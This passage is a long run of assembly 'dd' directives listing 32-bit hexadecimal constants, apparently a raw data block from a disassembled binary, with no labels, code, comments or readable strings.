		dd 0A901419Dh, 215D82F2h, 61F113A8h, 3AB3197h, 37759F6Ah
		dd 17FC288h, 718AD930h,	0C0347206h, 894AE45Eh, 7F1D8C0Dh
		dd 3686C5F7h, 3290B3Fh,	7EF4B1C7h, 84A1E75Ch, 4099F588h
		dd 1808D68h, 163ED2EEh,	19C33763h, 8EE40E90h, 31783B7Ch
		dd 0F79A24h, 336514DCh,	270983A9h, 995BC606h, 0A908EF3Ch
		dd 9901A5F2h, 8968781Fh, 5980DF98h, 609FB46Fh, 8E013594h
		dd 32785B10h, 0E06F276Bh, 549B242h, 0EAA300A4h,	6485AEA0h
		dd 128453Eh, 0A41FF0h, 2ADB4272h, 886729h, 0AC9F9D04h
		dd 45C7EE1Dh, 86037C00h, 3DD429DAh, 0EDA6895Ch,	75A980F5h
		dd 0FFAEDC7Dh, 63A100BFh, 53856FDFh, 2201180Bh,	0F908B598h
		dd 0C203791h, 0B71E011Ah, 3EA5A702h, 5651800Eh,	54327022h
		dd 0ED0A0385h, 74245B41h, 8BD8B114h, 900189E8h,	45C8A8h
		dd 0D34AD0F6h, 88165ACBh, 52D8000h, 9E6B9C75h, 0E4808BC5h
		dd 4A3B237Ch, 58FD833Bh, 0A01DF739h, 2604C93Fh,	18B8BBA8h
		dd 64D331DEh, 0A6259513h, 34C20C0Fh, 55217480h,	5A3500E1h
		dd 0D497F3C8h, 4828B51Ah, 0DF6441A1h, 0E019A308h, 0C26080A9h
		dd 419D01F9h, 0C830551Ah, 8C1628h, 0EE6F1B20h, 933F10CAh
		dd 0E5296B67h, 7B95CFE0h, 62E14BEh, 0A331C41Fh,	80582921h
		dd 1B498679h, 4B9E55h, 35C9024Ah, 0FA23F103h, 390091B8h
		dd 0B57859D5h, 280E2641h, 254998Ah, 482CE430h, 2061100Bh
		dd 0B824F250h, 89D950C0h, 0EA69C068h, 2180187Bh, 69C32F01h
		dd 322910A6h, 4660E09Fh, 41C6385Bh, 49143E30h, 0BA8E4BAh
		dd 0FEF877C7h, 0F4C17780h, 8912EF8Bh, 4213F1Eh,	1FCC90EDh
		dd 88720BF8h, 0C418F68Dh, 68B13DD5h, 0BDEA7107h, 0FD394C30h
		dd 0A7CE0085h, 42FF94Dh, 6007942Ah, 2880545Eh, 87B94Ch
		dd 4D86CB61h, 0A73C855Ah, 0C00FBF78h, 0A04893C8h, 4CC1FD9Dh
		dd 0C498372Fh, 9C3570C1h, 0AB00125Dh, 0E8C8C5CEh, 2FF77D3h
		dd 2C19081Fh, 18A09DD4h, 0F9EB3694h, 1F011074h,	0B00B3269h
		dd 95E8C4B3h, 4DC804A4h, 80B6ADE7h, 98237ACCh, 0A1248A4Ch
		dd 2007D0CAh, 922BF687h, 70048AF8h, 2A12C04h, 0F2C4BC88h
		dd 17D000E4h, 3A21167h,	5800B87Ch, 0D77F1AE3h, 76E2C56Dh
		dd 5F6E24E5h, 482820h, 4620DE34h, 0A6F469BCh, 914E8A03h
		dd 5365B0Dh, 882EB659h,	0CFA48C6Ch, 64CC4D13h, 0E0989600h
		dd 6538EAF0h, 0C4AE98A0h, 0C3D40860h, 39DD998Ch, 0B3F7012Dh
		dd 9E4DC1FCh, 0E2306058h, 0B0D3FA2Eh, 162EBA11h, 297C0E10h
		dd 0E4E0A0A0h, 5B181AC7h
		dd 3E49C14Dh, 9BFCA8F1h, 2E7F005Dh, 86E66FFEh, 0B11C25C8h
		dd 7E410F5Eh, 0CDAC88AFh, 6B341850h, 0A1FA07E3h, 0E01A06B1h
		dd 70E6EB58h, 10FC7919h, 0F089F5C0h, 98A1C1ACh,	60962182h
		dd 3E88CF58h, 6651C0FDh, 72EECC01h, 431F4EE4h, 8040F03Ah
		dd 0C10B1C03h, 47E41721h, 84E050A4h, 9EE9809Fh,	15D77367h
		dd 48A15D07h, 0E6E71B8Ah, 8B406950h, 7C135C84h,	20997212h
		dd 0D404ECA0h, 3D694E00h, 2FA8D15Fh, 3AAE05B5h,	82344129h
		dd 97216B64h, 0F8A61610h, 2028131Ch, 0C03026E8h, 811D7200h
		dd 7C5DC6C5h, 2E2CEE79h, 38F24h, 8DA590B9h, 0FF485A68h
		dd 0F48CC030h, 5B8B8Fh,	0F6C0FB1Ch, 56B10C68h, 0CCFACF07h
		dd 9A60D603h, 5A0891Fh,	0FEA4DF83h, 0AA548CC2h,	7A05092Ch
		dd 0B224D000h, 9867F061h, 0CC29483Ch, 0ED801480h, 6C1EA6AFh
		dd 34003BE6h, 0C44A5187h, 72E30062h, 0E5D52175h, 66000D24h
		dd 2522B906h, 0C0B6816Bh, 78C27FB8h, 0B5788AE7h, 103F90C9h
		dd 0AE2000h, 0CDCB3EEBh, 0B5E9C965h, 1A97191Ch,	0D4ABA70Ah
		dd 903F3709h, 30E68D54h, 52C65A2Eh, 2900B04Dh, 0E5748870h
		dd 905D9D4Fh, 153E30A4h, 30DD3C31h, 9FEBD100h, 0CFEE467Ah
		dd 0B1470A0Ch, 87A4C002h, 60C61FAEh, 57E6D53Ah,	1503BAECh
		dd 0D99FCFE5h, 1D38F8B1h, 0D0DC0064h, 0A15FC3A3h, 0A9002711h
		dd 1236F2F7h, 0F551CC0h, 3563D078h, 3B00C90Bh, 2A9157C6h
		dd 6BF258h, 2DF7C17Ch, 7475A9FDh, 0F10F1D45h, 0C907CC63h
		dd 0CD017248h, 6911F71Bh, 0B7D4271Dh, 60A8E885h, 2EA969FDh
		dd 39029D5Ch, 0B5B69C87h, 0F889401Ch, 782F6006h, 0F6AB27F2h
		dd 7EC431CFh, 11F1830Ch, 347A31FAh, 0E07D5629h,	9A7C264Dh
		dd 87D021C7h, 2AA70048h, 0A8B885C4h, 0C382C526h, 5FA7806h
		dd 3EF203E1h, 2CA43606h, 580B1100h, 84352E4Ch, 0ABAF00BCh
		dd 0B404C094h, 0A40797CDh, 1CCF0A2Fh, 0DFF1587Fh, 5CB6FA8Fh
		dd 650AF1E3h, 39407A2Fh, 37C18050h, 0C061A662h,	1AA4A77Dh
		dd 474D11C3h, 0DE8DC851h, 0D9050022h, 5368A98Eh, 8901E780h
		dd 0F391F4BCh, 41801DCEh, 39A44878h, 0FA50D928h, 0A988E394h
		dd 0F6A003D6h, 5CD2369h, 0CEB33100h, 0E8217B81h, 7D930A34h
		dd 80806FD0h, 0EF173BA4h, 8E0011B5h, 874BE4D1h,	13975EEh
		dd 7A279D86h, 84FD732Fh, 933E96D1h, 883098C4h, 5462A972h
		dd 3A4970B5h, 1670029Ch, 1C46020h, 0CBE03F59h, 0ED382037h
		dd 1BA4A98Bh, 9F393980h, 68202B54h, 0BCFB950Fh,	0E5E9A011h
		dd 1D1EA4h, 1CAA1410h, 0F1997529h, 0E760367Dh, 0D11DF349h
		dd 74900Ch, 7A875A4Ah, 812CEFC6h, 94751B01h, 491237F2h
		dd 0C028CDC8h, 0CE2250A9h, 1400B5DAh, 0C1650C8Dh, 6A9D271Ch
		dd 83460EBh, 0CD8C1E7Dh, 0BA3956h, 0B65D3274h, 97048999h
		dd 8614CCF0h, 0A72CCAh,	0AD3F88BEh, 0FA5D1880h,	0B8A61Ah
		dd 9EDEC110h, 3CFE24AEh, 6942ED00h, 99825E25h, 0CED307EEh
		dd 6071A97Bh, 0AE62A263h, 7803ACA4h, 852734A8h,	0D0F918E4h
		dd 0C80D596Dh, 3C506201h, 43B9D408h, 19EE2D8h, 0CC37445Bh
		dd 802FCD3Eh, 93C02E49h, 3AD2AC3h, 0D194A465h, 30DF8C9Eh
		dd 0FD86272Ch, 0D2FA30A1h, 7C819700h, 96B501E8h, 0A162A5EEh
		dd 7251801Ah, 2F57AF48h, 5525136Ah, 0B02827FAh,	0FE6BCC7Ch
		dd 0E548827Fh, 407E80E0h, 0DE8DFE0h, 0C8832652h, 0A6C52019h
		dd 0A017491h, 2F563A7Dh, 8980FED1h, 9EF9F318h, 0D1FEF4C8h
		dd 1830B830h, 37AC1Dh, 0CD59F77h, 73552048h, 3F952702h
		dd 0A06EDF30h, 0F0A6ED94h, 1C3A00DAh, 8231E301h, 0EE00D8D3h
		dd 0F5DC3996h, 287E9914h, 2AC43E3Ch, 0E0C023A4h, 2C380064h
		dd 422F0BBEh, 8B184EFAh, 962127A4h, 2E2D1F58h, 0E3D60048h
		dd 65801CC2h, 6241E001h, 7B2F5D1Dh, 891EA422h, 277E12EBh
		dd 832A20Ch, 5BA1BC90h,	0F9281300h, 1F379ADCh, 7D7101B2h
		dd 3556327Eh, 0F0CC49DFh, 80F3942h, 0C0ED291Ah,	5372F607h
		dd 6F380F7Dh, 3300634Eh, 0B2A90157h, 31C43950h,	3D3420A8h
		dd 0D46D4900h, 0ADC8EC60h, 7E673D32h, 72AC01F4h, 0F1022D3Eh
		dd 0D422A5h, 6B0D5693h,	261A596Fh, 7482CF9h, 4081AAF0h
		dd 8556FBEBh, 69A90406h, 970A4E8h, 2B0B797Bh, 0F29258A2h
		dd 9004E92Eh, 2A839C4h,	0E5166972h, 0AC90A5F0h,	0D9002F9Ah
		dd 0AAEA183Bh, 1CDB90C7h, 4DF70917h, 30C9CA72h,	24939D18h
		dd 720A2891h, 147EFAh, 86A87F58h, 75322FF6h, 90A58129h
		dd 0E082F4h, 0D8A07708h, 67273D42h, 0A93F8606h,	64D09395h
		dd 4028B894h, 8C483156h, 847D4CFFh, 0F14FE1Eh, 51010F32h
		dd 31C10693h, 0F4F89122h, 347E0B02h, 30469B2Ch,	0AA002AF0h
		dd 0B7A6C1AFh, 19CFA0Ah, 0F4371DE3h, 30CD87E6h,	0C9C0FB24h
		dd 0FF01A805h, 0A9DF000Dh, 0E97B772h, 370A89F1h, 0AC7EF8EDh
		dd 0C06D3D41h, 6F25A1C0h, 0F9A2C09Eh, 0E5101F06h, 0EC99C0FBh
		dd 0FAA73194h, 6214B100h, 33914EA4h, 83D70152h,	0CD2CA81Dh
		dd 8AAC5029h, 3400CAF8h, 0FEF6B608h, 1326B1BEh,	8F588EDh
		dd 0EA8053B4h, 0A362EF0Dh, 0F9AB0EA6h, 70E0C0E8h, 71FFCC9Ch
		dd 1255730Bh, 69A810CEh, 540090A9h, 6C7A8EAh, 124E1D56h
		dd 0E56F20F9h, 79C20009h, 0C98962h, 8395A425h, 2833114Dh
		dd 0F4365804h, 0C0C56CFAh, 7AD0804h, 0EFB05323h, 1C51DEF1h
		dd 1262D198h, 28760BFh,	5B700F96h, 0C6602AA6h, 0EB5C89DDh
		dd 21267C7Eh, 27098C50h, 0C1381087h, 5EB703FEh,	0AEF7CC0h
		dd 0D1721917h, 0FA2D0420h, 977D32h, 89640A14h, 3AA87C62h
		dd 0E9266F09h, 15422F1h, 0C8CD2422h, 0A53E1DB0h, 89E10088h
		dd 7EB9A110h, 0A9D8C052h, 0BE4BD47Ch, 354FAE02h, 822B0757h
		dd 102C78F0h, 8FF8D8DCh, 33FA9909h, 32A784E4h, 0F193F4C1h
		dd 73E3C507h, 0AFD0EC3Ch, 7C1873BAh, 4E8A3D5h, 0A906026Bh
		dd 0F4842788h, 3800930Fh, 1C9F01EEh, 0BC3403FDh, 0F0FA355Eh
		dd 2B002174h, 10EF0474h, 131DB72h, 0AA9C53C9h, 49083D11h
		dd 1015F4E8h, 3A840F00h, 0F0E4BBF3h, 305D0748h,	617DE8C3h
		dd 8082E63Bh, 0C0DB5A0h, 185C902Dh, 0C0116251h,	15E9AA63h
		dd 0A3BC80BBh, 70F520Ah, 80AE7DDFh, 0B7022F7Fh,	1F9D7A5Ch
		dd 24F0AA9Ah, 44291110h, 501DA5Ch, 0BBF4DE67h, 0BC707BA4h
		dd 873701BDh, 7715A3FFh, 0B867203Ch, 0FACB200h,	92556B7Fh
		dd 83D0EF20h, 27FF3ADAh, 794F529h, 10B817D5h, 0F6FAAB22h
		dd 0F0A86312h, 35371800h, 0E15BA91h, 303D7F42h,	9EDCDD40h
		dd 0D5006F32h, 6DAC98FAh, 190BB117h, 86119D0h, 0D821838Eh
		dd 9B80ACB0h, 9A101E49h, 0E6D00088h, 177C7AA6h,	1CD43Bh
		dd 0BF0FED02h, 3D4C14h,	80A592DFh, 68058366h, 41C720Ch
		dd 282180Dh, 0A89AD4CBh, 0EE43866Dh, 0C4525900h, 0C1C8C611h
		dd 0BD9E19B0h, 80740829h, 11DC6321h, 423BA4h, 2E89A857h
		dd 0E8E7FB03h, 68FF2636h, 55B8C028h, 360594Dh, 7652CC07h
		dd 1450113Dh, 0F83AB1A7h, 431C3723h, 614E8618h,	3C10D800h
		dd 1294FF02h, 0A204CF58h, 0A657A020h, 6D00ABA5h, 13900CCAh
		dd 39CB92DCh, 79D8ADh, 0B333BA8Eh, 9265A87h, 9EC95D1Ch
		dd 6233780h, 5503D8h, 932DABB9h, 7242DA34h, 8BEB9D00h
		dd 277D9FA8h, 0EAB60029h, 0E09612BBh, 0D614F9FBh, 9D62B2h
		dd 0C257D33Ah, 3050F3D0h, 1B306DAAh, 8B0049CEh,	92CACF9Fh
		dd 33E783Ch, 6310B450h
		dd 28006DFDh, 0F20439D9h, 0D979F21h, 7A3BD1CEh,	8395E140h
		dd 0FB302079h, 58B5D848h, 0CD7B1E59h, 2197981Eh, 69007810h
		dd 2F6BE8BCh, 1BAF741h,	0FFCD6EB8h, 0D73BC51Eh,	5E1016D8h
		dd 2C01897Bh, 0E43FCE69h, 78802FE8h, 827C9D1Ch,	1700365Eh
		dd 0DEF85610h, 67500481h, 81D0D1BDh, 0EC2ADFF7h, 370020F3h
		dd 0B2C3515Dh, 640BAF0h, 345E963Eh, 0D10330B6h,	0C5DD0889h
		dd 0D723D832h, 303807C8h, 536D99AAh, 5900A6B4h,	0D7F1014h
		dd 601C58ABh, 3D01402Eh, 23000E3Ah, 0CBD6E5A5h,	0BA2BB22h
		dd 2814DB6Ch, 6D3C05h, 6F8D2DFFh, 461FD409h, 890099CBh
		dd 873B43BDh, 0B2FE0013h, 5D9302FFh, 0ED00BC9Ch, 2F4A3546h
		dd 3628EBC3h, 9104597h,	0B888BF0Fh, 46CF0036h, 91BA33h
		dd 6034669Eh, 879418AAh, 0BF2BB50Eh, 0BA8500C4h, 0C824B6CCh
		dd 0B427229h, 7B82280h,	221A0222h, 712731DEh, 848C9078h
		dd 2A4C1B5Bh, 2D004351h, 275F6120h, 0A9530Ah, 8109D5D9h
		dd 9525E1EEh, 30CCFB00h, 4EE529EBh, 0CDFEF9h, 0D8C88A77h
		dd 2C74AF06h, 44BF0E01h, 0AA7C8D32h, 5E65C0h, 72F087E2h
		dd 36256F22h, 6D1C5BF2h, 5D40AC11h, 0DDA54B62h,	0FE390E5Fh
		dd 8C6B93B0h, 0EB389D00h, 4C0FADC4h, 6319CFC5h,	80C79F61h
		dd 4C1B8802h, 0D1017ADEh, 1945A0B5h, 0BCA0FA0Ch, 0CA211649h
		dd 81C8840Ch, 43B50C5h,	14F3576Dh, 3C1D3Ch, 0D1CAC673h
		dd 0C0646CF7h, 18AB2919h, 0F900DB28h, 0AE1E3BB8h, 0ECA29652h
		dd 4684008Bh, 70DA5401h, 882A834Ah, 0FE04EC43h,	52F8905Fh
		dd 0A0D4E082h, 96567378h, 0C440581Eh, 0DF31D203h, 7CC00ED5h
		dd 0DB3A64F4h, 78F88028h, 62566A6Dh, 38F9E296h,	5480865Fh
		dd 2EBA178Ah, 0D21D7C1Fh, 35C06D38h, 8F2A233Fh,	0EC30086h
		dd 70326F44h, 471C27D0h, 0F801A403h, 0BF38A26Dh, 1E2E6660h
		dd 40DE8813h, 9940E02Ch, 140EC5CDh, 600B5D87h, 0B82476A0h
		dd 0FD6F00CFh, 0A23A633h, 5D00B734h, 9E05CC04h,	1C36DC8Bh
		dd 0C0D1B164h, 4D07E34Ah, 1B00C9DAh, 2EEEA881h,	7067A83h
		dd 0EC1694C4h, 0E2F980EDh, 0F20368FCh, 455704D1h, 0F71BD8D9h
		dd 27EB0098h, 0F50C63BFh, 0CF005316h, 1A66CB78h, 7A1C07C0h
		dd 0A6360031h, 62CEEEAEh, 88005FD0h, 178D30D9h,	7DEFFBh
		dd 0DD1FE1E7h, 29D067DBh, 0E436D500h, 0F3BF4B6Dh, 0FC120038h
		dd 32D9D86h, 0DC00334Fh, 5391596h, 144C701Eh, 0EBB29E3Ch
		dd 217E9A0Eh, 63E8DE0h,	317A17A8h, 9415F63Dh, 0E844470h
		dd 0C4CD87B1h, 80808CD6h, 7D571Ch, 28EEB246h, 7E33A4F0h
		dd 552FF800h, 7FAF347Bh, 0E5940061h, 0A124DB37h, 2700CAE6h
		dd 6AFC0C67h, 1CE9E7h, 8281DF13h, 0E8382460h, 0B5661700h
		dd 4DA12746h, 5F249h, 0AEA36FEh, 0F406513Eh, 22BEE01h
		dd 0C1AB203Ah, 5C60DDF2h, 241F3599h, 5B8006D0h,	4968FF5h
		dd 6D7300ABh, 57F483B9h, 3F388A56h, 80D1BE42h, 51FD129Eh
		dd 0C4247Bh, 0A64A8C22h, 0C9F05F68h, 0D8E77A03h, 0B02589D9h
		dd 403865h, 78172DEBh, 3BD0FB53h, 4DC71000h, 77D459FAh
		dd 0E5D100E3h, 17747BD5h, 6E03BAE1h, 377D4218h,	28F3E83Dh
		dd 0C77F27h, 6ABCCE98h,	36A0F9FEh, 93EBE300h, 2094EDA1h
		dd 8C8A09D8h, 0DA80F054h, 499C673Fh, 0CD001FE6h, 928E7179h
		dd 31CCA1Eh, 5B0542F4h,	511FC115h, 9E39ACF5h, 49419AFFh
		dd 3190EE38h, 0CABDE8h,	0C3B0E61Dh, 3E9026Ah, 6BB39h, 3DF79AC2h
		dd 1C08DD34h, 470F5AAEh, 70FA41A0h, 7E439E83h, 87002D74h
		dd 9BD2E724h, 4BC208h, 0B08EAB70h, 8372817Ch, 79858C1Eh
		dd 0E1B92881h, 0BD07415h, 0BC210093h, 0BEDF6FF0h, 0F8166359h
		dd 0CC011023h, 81BF534h, 0ECD645D8h, 614C18FDh,	0B205FAB0h
		dd 7E288F05h, 80BB01E9h, 4FC8DFC9h, 303B38h, 0CCD9D32Fh
		dd 0E7DB1Dh, 3AC769B9h,	0A75779B5h, 28B35F00h, 7E82760Bh
		dd 0F18A00F4h, 0EC4DE607h, 5000E7F6h, 9EDF216Fh, 72CAA1h
		dd 0A7377B96h, 0EB786DBBh, 7404691Dh, 997FC8C0h, 16BBDC5h
		dd 57ADF409h, 302CBE1Ch, 3C0001F5h, 2FD3DEFFh, 3D051Ah
		dd 26B2D42h, 0E1CE6EBh,	0E3BD9306h, 1CD85BE7h, 40059431h
		dd 8BB536F6h, 6E011215h, 0B8B96C78h, 0F9E0287Eh, 0F4AC002Ah
		dd 9539DAECh, 1B00E46Dh, 6EBC5561h, 0E5D747h, 0A03DC116h
		dd 0AFF0E90Ah, 0C856A80Bh, 0C2AD8098h, 7CAA7EC3h, 0EA0C0B8h
		dd 40114889h, 6C26E700h, 994F6618h, 1FF202A0h, 10DE0CA3h
		dd 5D3F5440h, 0F1CF8618h, 0E8018B28h, 46B200D4h, 0D61AEE0h
		dd 0C801CEA6h, 58E6CA1Dh, 8CC8C416h, 0C09009h, 0A974DE29h
		dd 2A4EC717h, 0D375560Fh, 0B17C0064h, 6E923Eh, 7B0DA43Fh
		dd 9A93548Dh, 6D868001h, 0EB67CD4Ch, 92EFC840h,	0A4980E7Bh
		dd 660026E8h, 7A58AC64h, 7CB77700h, 252D49D9h, 7E5A07D6h
		dd 0D7C52EBCh, 9FFBB0DBh, 90003F57h, 285BCE51h,	36FF407h
		dd 8B059738h, 0A9C843F9h, 7500D5E4h, 105A7B77h,	121154A7h
		dd 4E9833h, 1BE0C683h, 913CEFCBh, 82E3804Fh, 5005E234h
		dd 0F608044Ch, 902133DCh, 7FC9D0E8h, 0B9C81500h, 7C4FFF6Fh
		dd 34E400DDh, 0A3699599h, 0DA006B92h, 933EC201h, 0E5F405h
		dd 631BDC48h, 41B07A96h, 0CB744F09h, 0A698008Ah, 0C618A9h
		dd 44694EEh, 1E58220Fh,	0FC059EEAh, 0F477D120h,	3399C8C0h
		dd 158602B3h, 0C68FADBh, 7CA6F780h, 0D8906C44h,	5EFCE000h
		dd 74CF0BC7h, 9C114C29h, 0B9930F80h, 8800E2EFh,	35F89C1Ah
		dd 1D2C6D9h, 8B31030h, 20687189h, 39014C0Ch, 0F16DC21Eh
		dd 3C30D4D7h, 61CC1E47h, 64BE0017h, 7D1322F9h, 0EB4DC100h
		dd 73841AACh, 0FC610032h, 6EE9967Eh, 8300D128h,	87ACD047h
		dd 0C7579Dh, 0A736FD97h, 1B4C24D4h, 10E4F106h, 7785F72h
		dd 91D6F2CFh, 73F001DEh, 0BA5D6024h, 1B952603h,	0D0A632CEh
		dd 47D669Fh, 6DE67CDBh,	80FC84B0h, 91827348h, 52BB6C07h
		dd 0EE30761Fh, 71E89F3h, 0B83A3787h, 5090F3A8h,	1D9D1790h
		dd 8500A7F8h, 405A6473h, 0FE6A7502h, 0B6BE0011h, 393217B3h
		dd 0EA036BFDh, 96778AFFh, 0E2B9803Bh, 2B751C80h, 638540D6h
		dd 0CF14A20Fh, 78E96800h, 89169784h, 0B8C40045h, 5F9822E0h
		dd 21328F1Ch, 4866E85Ch, 184320h, 0B30F7265h, 5F87C703h
		dd 99FF1B02h, 80D00D08h, 0A2D3DBC4h, 294B0084h,	80C3EB2Dh
		dd 69136C8Eh, 0E0002317h, 39A7A0D0h, 75B60099h,	2E87C692h
		dd 16009389h, 4068EAE8h, 60DDC1B1h, 9C9D1880h, 0F70F5290h
		dd 0A212325Fh, 0E0CE1EC7h, 0F616AC6h, 2C4406ACh, 0C2277F44h
		dd 9CC0B6C0h, 2A303A57h, 7A7028C4h, 5DEF00ECh, 71FFABD0h
		dd 0A43E8D0Fh, 76CC80E3h, 0E06538A1h, 2CF6C1h, 0E75950FDh
		dd 41D4BE69h, 0A85A7D12h, 3CCD9430h, 1C2B905Bh,	4524B187h
		dd 0C0C5E0A4h, 0F16F3F1Ch, 0E702C49h, 0DFC35B54h, 1C64CC9h
		dd 98EDC5AEh, 57C8CE80h, 4010EB8Ah, 0D3892C00h,	9BD1737Bh
		dd 0F6B3A6Ah, 626E6780h, 64CBADA4h, 0FA355113h,	79328440h
		dd 0F654459Ch, 0D04C5513h, 0BAADCCh, 76011653h,	0A0CA696Fh
		dd 0DBDC1900h, 271A7F92h, 4ED414ADh, 8F00C86Ah,	2067808Dh
		dd 61C12ACh, 3EEE0998h,	0E3BDAE3Bh, 0C8483D0Ch,	4C5A00A0h
		dd 448B74FAh, 0CF3868E4h, 0A1F407A5h, 720C897h,	770B94D5h
		dd 6A5800C3h, 0AFAE5B47h, 0BA00449Dh, 0B74D6F1Eh, 6A828h
		dd 20297B62h
		dd 14DDCB6Dh, 2674794Ch, 0A7005523h, 56A5F253h,	95640071h
		dd 0BA148B5Ch, 350C8E68h, 2A9216EFh, 7761008Dh,	0E650AAADh
		dd 45075594h, 344C8393h, 0E9E3E73Fh, 9937F1E0h,	0CDB0069h
		dd 2D7AE77h, 70042A6h, 23BCD10Dh, 0E4785698h, 5DFE0A44h
		dd 0A32DB0h, 871988D4h,	0D3009338h, 0C77F1420h,	28183AAh
		dd 0E4EC6C90h, 0D2C0D641h, 0BF7BC94Ch, 30A33D00h, 65C08F4Ah
		dd 5BC84CDEh, 0DC75F700h, 96900987h, 212E8400h,	0D26E79B3h
		dd 0F0FCA316h, 1C38DC12h, 0E265C8h, 0B1860E04h,	4F01EE31h
		dd 0B82135B7h, 0D7605DA1h, 75BC0023h, 4CEB3DF6h, 4E0050A5h
		dd 567AD0F0h, 0C94B204h, 0A32F8F51h, 29ECDAC0h,	0B61CFB00h
		dd 0C9DC9033h, 73380980h, 4800CC8Dh, 0A688160Fh, 841FE43Ch
		dd 42F7E7BBh, 0DB5AC800h, 0C6E4E122h, 0AB512498h, 2A3CFCD4h
		dd 0A500B89Ah, 20A6CE4Ah, 0C12CFCCh, 9E81DA75h,	0D0099E2h
		dd 59902B0Bh, 0D5B973h,	0C1F78AB4h, 4410DFF0h, 0AB033F05h
		dd 6EC04F6Fh, 3BA840EDh, 0E1808FA6h, 0A13BBF1Ch, 9828B9EFh
		dd 5401A80Dh, 4ACF956Eh, 0CCF04583h, 0DAFA006Bh, 0A514369Ch
		dd 0F104FC47h, 119A6273h, 0D7299480h, 36E50789h, 3E4513h
		dd 0CB6B0344h, 86678101h, 0E691BA8Dh, 5834E420h, 230035D3h
		dd 8E6A4DDCh, 8AF8854Ch, 0E0E43200h, 589E1861h,	0D88D3C2Ah
		dd 0FF92EBBh, 0F736D617h, 6A62A061h, 0FABC40B1h, 8001423h
		dd 66F078B3h, 2E8A40A1h, 0F7CBDAh, 0A0D28D64h, 0E2003C4Ah
		dd 2FFA60ACh, 0CFC49Ah,	78ADE94Ch, 1E6BE51Dh, 531B2D00h
		dd 480B443Dh, 0E76C1D22h, 0ADC780F9h, 54CC67FEh, 6509EB0Eh
		dd 7814E17Dh, 6E70396Fh, 3C0F0050h, 0DF2BA020h,	0F03AAF0Dh
		dd 0E44303E6h, 88F2E018h, 2CA3115h, 0D51C30C3h,	5DE0D8DEh
		dd 991D59D4h, 4E8019DCh, 0B4CE4B9Ch, 13A11EF6h,	3B51CF23h
		dd 2A07018Bh, 281D037Eh, 0ABBA9000h, 0C21BA108h, 87EEA9h
		dd 9BAAACD9h, 0B3AE0CA0h, 6DF2A300h, 519D982Eh,	1ECEF0BEh
		dd 40B683BFh, 0FFA04C67h, 0D1394602h, 0E87D80B8h, 1F1C77B7h
		dd 4CFA00Eh, 0F99E0082h, 0CB5A5FDBh, 990EFDF2h,	0C0D17539h
		dd 2AA10A47h, 9EC53A7Fh, 3BC7C980h, 7DCE9D95h, 6A2DAE1Fh
		dd 230C0340h, 3AB0108h,	0A39A6159h, 4F0AD1Eh, 86EC3D5Eh
		dd 4188F0F1h, 4DA49F06h, 101264h, 4CBBA747h, 0B032DF40h
		dd 0CF3FB58h, 2003FF8Ah, 5D3500BFh, 0EE68793Ch,	870CF4DCh
		dd 0A22760DEh, 0ABB60059h, 22A637A8h, 90FADC4Eh, 70E934FEh
		dd 12002CA1h, 551B1E3Ch, 4F0DA8h, 93922A75h, 1C09CE04h
		dd 338C3500h, 0D2B250A3h, 0FEA87CF7h, 22A70015h, 9ACD7FBDh
		dd 0F1039EE2h, 7EC0C41Dh, 9D57E8F0h, 0E8070036h, 0A428C2D4h
		dd 3400E7D3h, 19019A87h, 7D0D41B1h, 0CA8A05F6h,	40EFAFDCh
		dd 372FC5A4h, 3D3CD5C8h, 0C3220751h, 0D420303Ch, 90578h
		dd 1D1E45E5h, 0BDF5F99Dh, 0D8D6AB00h, 2DA7BA8Ah, 0B24F0058h
		dd 0B45FA834h, 2000E48Bh, 550D0654h, 12A4E18h, 958205DAh
		dd 80A093C4h, 0F7E38099h, 3C3650Bh, 874C776Fh, 18073558h
		dd 65C3DE1h, 0E26023A0h, 8A8901ADh, 1F261122h, 70E147D0h
		dd 58870FFh, 67844C01h,	66E54761h, 90DD07E4h, 89EA00ECh
		dd 0C55A81F6h, 0D9715142h, 6615F00h, 1C7997F7h,	0E4EA37h
		dd 0DE45C665h, 6E52667Dh, 0BB6261Dh, 0C0B15D8Fh, 0DAD719B0h
		dd 8A1309DCh, 3C806B96h, 94B9C1C0h, 0BD742600h,	40A20D3Fh
		dd 0ADB200E8h, 63B49F76h, 0C500E2D3h, 61057ACBh, 0E8892271h
		dd 80880E0Eh, 2881C4AAh, 0E47C9F0Dh, 34EA0BE4h,	0D55F2B00h
		dd 0C1554A78h, 0E810077h, 689E8D47h, 65009175h,	3DD02202h
		dd 4E4FA49h, 98B35026h,	2000BE3Ch, 1775C197h, 0DF990F0Eh
		dd 0CFE1AC85h, 0F99A98B5h, 54F84009h, 270007F4h, 0D1383E23h
		dd 8BE944h, 463561E7h, 0C7EFF5D3h, 0DC2A9400h, 10E54529h
		dd 51910014h, 9DEACC0h,	660048F9h, 0A6012DC5h, 0FF57BEh
		dd 0B79370F5h, 28E82F3Ch, 0E60E38C0h, 4DE2328Ch, 2E00604Bh
		dd 2FDF8024h, 4F1865CBh, 26182AA2h, 0A1E067C3h,	76DD7062h
		dd 42E81E6Ch, 182EE737h, 63C00687h, 677AF3h, 0DE02DA4h
		dd 0EC6965F9h, 0E8781500h, 757BC126h, 0D57C35h,	0FBFC0F49h
		dd 0DFFA2F7Ch, 6EE3E118h, 1800C89h, 0E00EA289h,	0D1C421D2h
		dd 80C5D782h, 0B0CFAE1Ch, 0A83DFE98h, 0EB8061A7h, 0DED8F274h
		dd 2DE20098h, 0DCCDCA4Ch, 0BA77EF7Bh, 7A6A1705h, 0D0837C33h
		dd 0A00DE032h, 9BF0E9EDh, 3F6B0084h, 1266B846h,	0A100A530h
		dd 13CCEC1Eh, 0BBDEB1Bh, 68D6FAEAh, 5700FDDEh, 0E606EDC5h
		dd 58E90098h, 0D6F83A8Eh, 273A951Bh, 36AB1E3Eh,	148DC4C0h
		dd 1A6D5CEh, 2BBB2632h,	0CC669028h, 0E00B217h, 3186D427h
		dd 793D0BFFh, 6C011FF3h, 0ACF04723h, 0A0DD77E1h, 48CD8FD6h
		dd 0D000727Ch, 2F093F5Fh, 0F8B90Ch, 0A8CAD20h, 0BD233906h
		dd 0BF0739h, 3156CF86h,	797D238h, 4FDA4291h, 918B10Ch
		dd 0A1B4403Ch, 20009CE0h, 6E847749h, 9F3FCBh, 0A2520435h
		dd 0E529CF63h, 460038EAh, 4B277A64h, 92A861DCh,	8090000Ch
		dd 0F29A7E17h, 4401318Eh, 0E78AD943h, 6080CDA0h, 0DE426448h
		dd 0DA3C3E33h, 8AFC80EEh, 82561531h, 53A900BFh,	21729A73h
		dd 9200F774h, 27D0E9A5h, 20D8ADBh, 0AB2AF424h, 404896C2h
